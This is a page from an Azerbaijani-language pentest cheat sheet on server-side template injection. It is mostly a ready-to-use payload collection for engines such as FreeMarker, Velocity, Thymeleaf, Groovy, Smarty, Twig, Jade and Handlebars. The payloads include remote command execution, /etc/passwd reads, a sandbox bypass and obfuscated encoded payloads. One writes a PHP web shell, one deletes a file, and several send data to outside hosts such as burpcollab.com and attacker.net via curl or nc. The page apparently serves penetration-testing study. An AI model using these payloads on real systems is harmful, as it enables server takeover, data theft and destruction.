Pentest və SOC Cheat Sheet
  • Reconnaissance
  • Post-Explotation
    • Linux Post-Explotation
      • Linux Local Enumeration
      • Linux Privilege Escalation
      • Dumping and cracking hashes on Linux
      • Linux Persistence
    • Windows Post-Explotation
      • Windows Local Enumeration
      • Windows Privilege Escalation
      • Windows Persistence
  • Network Services Pentesting
    • 21-Pentesting FTP
    • 22-Pentesting SSH
    • 23-Pentesting Telnet
    • 53-Pentesting DNS
    • 25,465,587-Pentesting SMTP
    • 110,995-Pentesting POP
    • 139,445-Pentesting SMB
    • 3306-Pentesting MySQL
    • 3389-Pentesting RDP
    • 1433-Pentesting MSSQL-Microsoft SQL Server
    • 389,636,3268,3269-Pentesting LDAP
  • Web Pentesting
    • Broken Access Control
      • Praktiki nümunə
    • OS Command Injection
      • Praktiki nümunə
    • SQL Injection
      • Praktiki nümunə
    • Cross-Site-Scripting (XSS)
      • Praktiki nümunə
    • File Upload
      • Praktiki nümunə
    • Directory Traversal və Path Traversal
      • Praktiki nümunə
    • CSRF
    • XXE
    • Clickjacking
      • Praktiki nümunə
    • SSRF
      • Praktiki nümunə
    • JWT (Json Web Token)
      • Praktiki nümunə
    • Local&Remote File İnclusion
      • Praktiki nümunə
      • Local File inclusion ilə reverse shell almaq
    • 401&403 Bypass
    • Login Bypass
    • Open Redirect
    • Unicode Injection
    • Security Misconfiguration
    • CRLF injection
    • LDAP Injection
    • Cookies Hacking
    • Cross site WebSocket hijacking (CSWSH)
    • SSTI (Server Side Template Injection)
    • CSTI (Client Side Template Injection)
    • XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Hücumları
    • Reverse Tab Nabbing
    • Web Tool - WFuzz
    • XPATH enjeksiyonu
    • Server-Side Includes (SSI) Injection
    • Edge Side Inclusion Injection (ESII)
    • Race Condition
    • PostMessage
    • Parameter Pollution
    • Cache Poisoning and Cache Deception
    • Captcha Bypass
  • AD Pentesting
    • Domain Enumeration
      • PowerView ilə enumeration
      • AD Module ilə enumeration
      • BloodHound ilə enumeration
        • On Site BloodHound
      • Using Adalanche
        • Remote adalanche
      • Useful Enumeration Tools
    • Local Privilege Escalation
      • Useful Local Priv Esc Tools
      • UAC Bypass
    • Lateral Movement
      • Powershell Remoting
      • Mimikatz
      • Remote Desktop Protocol
      • URL File Attacks
      • Useful Tools
    • Domain Privilege Escalation
      • Kerberoast
      • ASREPRoast
      • Password Spray Attack
      • Force Set SPN
      • Abusing Shadow Copies
      • List and Decrypt Stored Credentials using Mimikatz
      • Unconstrained Delegation
      • Constrained Delegation
      • Resource Based Constrained Delegation
      • DNSAdmins Abuse
      • Abusing Active Directory-Integraded DNS (ADIDNS) poisoning
      • Abusing Backup Operators Group
      • SID History Abuse
      • Active Directory Certificate Services
    • Domain Persistence
      • Golden Ticket Attack
      • Silver Ticket Attack
      • Skeleton Key Attack
      • DSRM Abuse
      • DCsync Attack
    • Cross Forest Attacks
      • Trust Tickets
      • Abuse MSSQL Servers
      • Breaking Forest Trusts
  • SOC - Cheat Sheet
    • SOC Nədir?
    • SOC Komponentləri Nələrdir?
    • SOC Checklist
    • SIEM
      • Splunk Qurulması və Konfiqurasiyası
    • IDS/IPS
    • Firewall
    • Firewall qurulması və konfiqurasiyası
    • EDR/XDR
    • SOAR
    • Windows Commands for SOC analysts
      • GUI Programs in Windows
      • Event Viewer
      • Task Scheduler
      • Group Policy Editor
      • Device Manager
      • Task Manager
      • Registry Manager
    • Linux Commands for SOC analysts
    • LOLBAS Apps and Commands
      • Apps and Commands
Powered by GitBook
On this page
  • Server Side Template Injection nədir?
  • Server Side Template Injection hücumunun qurulması
  • Aşkar etmə
  • Müəyyən etmək
  • Exploit
  • Araşdırma
  • Toollar
  • Exploitlər
  • Java
  • FreeMarker (Java)
  • Ətraflı məlumat
  • Velocity (Java)
  • Ətraflı məlumat
  • Thymeleaf (Java)
  • Spring Framework (Java)
  • Spring View Manipulation (Java)
  • Pebble (Java)
  • Jinjava (Java)
  • Groovy (Java)
  • Smarty (PHP)
  • Twig (PHP)
  • Jade (NodeJS)
  • Handlebars (NodeJS)

Was this helpful?

  1. Web Pentesting

SSTI (Server Side Template Injection)

PreviousCross site WebSocket hijacking (CSWSH)NextCSTI (Client Side Template Injection)

Last updated 1 year ago

Was this helpful?

Server Side Template Injection nədir?

Server Side Template Injection o zaman baş verir ki, təcavüzkar template-ə zərərli yük yeritmək üçün yerli template sintaksisindən istifadə edə bilsin, sonra bu, server tərəfində yerinə yetirilir. Template engine-lər sabit template-ləri uçucu məlumatlarla birləşdirərək veb səhifələr yaratmaq üçün nəzərdə tutulmuşdur. Server Side Template Injection hücumları, istifadəçi girişi məlumat kimi ötürülmək əvəzinə, birbaşa template-ə birləşdirildikdə baş verə bilər. Bu, təcavüzkarlara template engine-i manipulyasiya etmək üçün ixtiyari template direktivlərini yeritməyə imkan verir və çox vaxt onlara server üzərində tam nəzarəti ələ keçirməyə imkan verir.

Vulnerable kod nümunəsi aşağıdakı birinə baxın:

$output = $twig->render("Dear " . $_GET['name']);

Əvvəlki nümunədə template-in özü GET parametr adından istifadə edərək dinamik şəkildə yaradılır. Template sintaksisi server tərəfində qiymətləndirilir, bu, potensial olaraq təcavüzkarın Server Side Template Injection yükünü ad parametri daxilində aşağıdakı kimi yerləşdirməyə imkan verir:

http://vulnerable-website.com/?name={{bad-stuff-here}}

Server Side Template Injection hücumunun qurulması

Aşkar etmə

Hər hansı zəiflikdə olduğu kimi, istismara doğru ilk addım onu tapa bilməkdir. Ola bilsin ki, ən sadə ilkin yanaşma, ${<%[%'"}}%\ poliqlotu kimi şablon ifadələrində çox istifadə olunan xüsusi simvolların ardıcıllığını yeridərək template-i qeyri-müəyyənləşdirməyə cəhd etməkdir.

Serverin həssas olub-olmadığını yoxlamaq üçün parametr və verilən faydalı yüklə bağlı adi məlumatlarla cavab arasında fərqləri görməlisiniz. Səhv atılırsa, serverin həssas olduğunu və hətta hansı mühərrikin engine-in anlamaq asan olacaq. Lakin siz həmçinin həssas server tapa bilərsiniz, əgər siz onun verilmiş faydalı yükü əks etdirəcəyini gözləyirdinizsə və o, əks olunmursa və ya cavabda çatışmayan simvollar varsa.

Detect - Plaintext context

Verilmiş daxiletmə render olunur və cavabda əks olunur. Bu asanlıqla sadə XSS zəifliyi ilə səhv salınır, lakin template ifadəsi daxilində riyazi əməliyyatlar qurmağa cəhd etsəniz, onu fərqləndirmək asandır:

{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}

Detect - Code context

Bu hallarda istifadəçi girişi template ifadəsinə yerləşdirilir:

engine.render("Hello {{"+greeting+"}}", data)

Həmin səhifənin URL girişi bu ilə oxşar ola bilər: http://vulnerable-website.com/?greeting=data.username

Əgər greeting parametrini fərqli dəyərə dəyişsəniz, cavabda istifadəçi adı olmayacaq, lakin aşağıdakı kimi bir şeyə daxil olsanız: http://vulnerable-website.com/?greeting=data.username}}hello, cavab olacaq istifadəçi adını ehtiva edir (əgər bağlanan şablon ifadə simvolları }} idisə). Bu test zamanı xəta baş verərsə, serverin həssas olduğunu tapmaq daha asan olacaq.

Müəyyən etmək

Template enjeksiyon potensialını aşkar etdikdən sonra növbəti addım template mühərrikini müəyyən etməkdir. Çox sayda template dilləri olmasına baxmayaraq, onların bir çoxu HTML simvolları ilə toqquşmamaq üçün xüsusi olaraq seçilmiş çox oxşar sintaksisdən istifadə edir.

Əgər şanslısınızsa, server səhvləri çap edəcək və siz xətaların içərisində istifadə olunan engine-i tapa biləcəksiniz. Səhvlərə səbəb ola biləcək bəzi mümkün yüklər:


${}
{{}}
<%= %>
${7/0}
{{7/0}}
<%= 7/0 %>
${foobar}
{{foobar}}
<%= foobar %>
${7*7}
{{7*7}}
``

Əks halda, müxtəlif dillərə aid faydalı yükləri əl ilə sınamalı və onların template mühərriki tərəfindən necə şərh edildiyini öyrənməli olacaqsınız. Bunu etməyin ümumi yolu müxtəlif template mühərriklərindən sintaksisdən istifadə edərək ixtiyari riyazi əməliyyatları yeritməkdir. Daha sonra onların uğurla qiymətləndirilib-qiymətləndirilmədiyini müşahidə edə bilərsiniz. Bu prosesə kömək etmək üçün aşağıdakılara bənzər bir qərar ağacından istifadə edə bilərsiniz:

Exploit

Read

Template inyeksiyasını tapdıqdan və template mühərrikini müəyyən etdikdən sonra ilk addım sənədləri oxumaqdır. Əsas maraq sahələri bunlardır:

  • Əsas sintaksisi əhatə edən "For Template Authors" bölmələri.

  • 'Security Considerations' - çox güman ki, sınaqdan keçirdiyiniz proqramı yaradanlar bunu oxumayıblar və onda bəzi faydalı göstərişlər ola bilər.

  • Daxili metodların, funksiyaların, filtrlərin və dəyişənlərin siyahıları.

  • Extensions/plugins siyahıları - bəziləri standart olaraq aktivləşdirilə bilər.

Araşdırma

Heç bir istismarın özünü təqdim etmədiyini fərz etsək, növbəti addım tam olaraq nəyə çıxışınız olduğunu öyrənmək üçün ətraf mühiti araşdırmaqdır. Siz həm template engine tərəfindən təmin edilmiş standart obyektləri, həm də tərtibatçı tərəfindən template-ə ötürülən tətbiqə aid obyektləri tapa bilərsiniz. Bir çox template sistemləri əhatə dairəsində olan hər şeyi ehtiva edən "self" və ya namespace obyektini və obyektin atributlarını və metodlarını siyahıya salmaq üçün idiomatik bir yolu ifşa edir.

Daxili öz-özünə obyekt yoxdursa, SecLists və Burp Intruder-in söz siyahısı kolleksiyasından istifadə edərək dəyişən adlarını bruteforce etməli olacaqsınız.

Tərtibatçı tərəfindən təmin edilən obyektlərin xüsusilə həssas məlumatları ehtiva etmə ehtimalı var və proqram daxilində müxtəlif templatelər arasında dəyişə bilər, ona görə də bu proses ideal olaraq hər bir fərqli template-ə fərdi şəkildə tətbiq edilməlidir.

Hücum

Bu nöqtədə sizin əlinizdə olan hücum səthi haqqında dəqiq təsəvvürünüz olmalıdır və istifadə edilə bilən zəifliklər üçün hər bir funksiyanı nəzərdən keçirərək ənənəvi təhlükəsizlik auditi üsullarına davam edə bilməlisiniz. Buna daha geniş tətbiq kontekstində yanaşmaq vacibdir - bəzi funksiyalar tətbiqə xas xüsusiyyətlərdən istifadə etmək üçün istifadə edilə bilər. İzlənəcək nümunələr ixtiyari obyekt yaradılması, ixtiyari faylın oxunması/yazılması, uzaq fayl daxil edilməsi, məlumatın açıqlanması və imtiyazların artırılması zəifliklərini işə salmaq üçün template inyeksiyasından istifadə edəcək.

Toollar

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Exploitlər

Ümumi

Bu wordlistdə siz aşağıda qeyd olunan bəzi mühərriklərin mühitlərində müəyyən edilmiş dəyişənləri tapa bilərsiniz:

Java

Java - Basic injection

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}

Java -Sistemin environment dəyişənlərini əldə edin

${T(java.lang.System).getenv()}

Java - Retrieve /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Payloadlarınızı https://try.freemarker.apache.org saytında sınaya bilərsiniz

  • {{7*7}} = {{7*7}}

  • ${7*7} = 49

  • #{7*7} = 49 -- (legacy)

  • ${7*'7'} Nothing

  • ${foobar}

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox bypass

⚠️ yalnız 2.3.30-dan aşağı olan Freemarker versiyalarında işləyir.

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Ətraflı məlumat

Velocity (Java)

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

Ətraflı məlumat

Thymeleaf (Java)

SSTI üçün tipik test ifadəsi ${7*7}-dir. Bu ifadə Thymeleaf-da da işləyir. Uzaqdan kod icrasına nail olmaq istəyirsinizsə, aşağıdakı test ifadələrindən birini istifadə edə bilərsiniz:

  • SpringEL: ${T(java.lang.Runtime).getRuntime().exec('calc')}

  • OGNL: ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Ancaq daha əvvəl qeyd etdiyimiz kimi, ifadələr yalnız Thymeleaf atributlarında işləyir. Şablonda fərqli bir yerdə ifadə istifadə etmək lazımdırsa, Thymeleaf ifadənin daxil edilməsini dəstəkləyir. Bu funksiyadan istifadə etmək üçün siz [[...]] və ya [(...)] daxilində ifadə qoymalısınız (xüsusi simvollardan qaçmağın lazım olub-olmamasından asılı olaraq birini və ya digərini seçin). Beləliklə, Thymeleaf üçün sadə SSTI aşkarlama yükü [[${7*7}]] olacaqdır.

Yuxarıdakı aşkarlama yükünün işləmə ehtimalı çox aşağıdır. SSTI zəiflikləri adətən kodda template dinamik şəkildə yaradıldıqda baş verir. Thymeleaf, standart olaraq, belə dinamik şəkildə yaradılan template-ə icazə vermir və bütün templatelər daha əvvəl yaradılmalıdır. Buna görə də, əgər tərtibatçı tez bir sətirdən template yaratmaq istəyirsə, öz TemplateResolver-ini yaratmalıdır. Bu mümkündür, lakin çox nadir hallarda olur.

Thymeleaf template mühərrikinin sənədlərinə daha dərindən nəzər salsaq, ifadənin əvvəlcədən işlənməsi adlı maraqlı bir xüsusiyyət tapacağıq. Qoşa alt xətt (...) arasında yerləşdirilən ifadələr əvvəlcədən işlənir və ilkin işlənmənin nəticəsi müntəzəm emal zamanı ifadənin bir hissəsi kimi istifadə olunur. Budur Thymeleaf sənədlərindən rəsmi bir nümunə:

#{selection.__${sel.code}__}

Zəiflik nümunəsi

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Spring View Manipulation (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Pebble köhnə versiyası ( < versiya 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Pebble-ın yeni versiyası :

{% set cmd = 'id' %}





{% set bytes = (1).TYPE
     .forName('java.lang.Runtime')
     .methods[6]
     .invoke(null,null)
     .exec(cmd)
     .inputStream
     .readAllBytes() %}
{{ (1).TYPE
     .forName('java.lang.String')
     .constructors[0]
     .newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava Hubspot tərəfindən hazırlanmış açıq mənbəli layihə

Jinjava - Command execution

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Groovy (Java)

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
    cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
    assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
    cmd = "whoami";
    out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
    cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
    java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Twig (PHP)

  • {{7*7}} = 49

  • ${7*7} = ${7*7}

  • {{7*'7'}} = 49

  • {{1/0}} = Error

  • {{foobar}} Nothing

#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}

Twig - Template format

$output = $twig > render (
  'Dear' . $_GET['custom_greeting'],
  array("first_name" => $user.first_name)
);

$output = $twig > render (
  "Dear {first_name}",
  array("first_name" => $user.first_name)
);

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Handlebars (NodeJS)

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Error

  • ${7*7} = ${7*7}

  • Nothing

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('whoami');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

URLencoded:
%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%7b%7b%2f%77%69%74%68%7d%7d

saytının FreeMarker bölməsində

Velocity bölməsində

tərəfindən düzəldildi

Path Traversal ().

https://portswigger.net/research/server-side-template-injection
https://portswigger.net/research/server-side-template-injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity
daha ətraflı
GitHub - epinna/tplmap: Server-Side Template Injection and Code Injection Detection and Exploitation ToolGitHub
SecLists/template-engines-special-vars.txt at master · danielmiessler/SecListsGitHub
PayloadsAllTheThings/Server Side Template Injection at master · swisskyrepo/PayloadsAllTheThingsGitHub
GitHub - HubSpot/jinjava: Jinja template engine for JavaGitHub
do not allow calling getClass by boulter · Pull Request #230 · HubSpot/jinjavaGitHub
Logo
Logo
Logo
Logo
Logo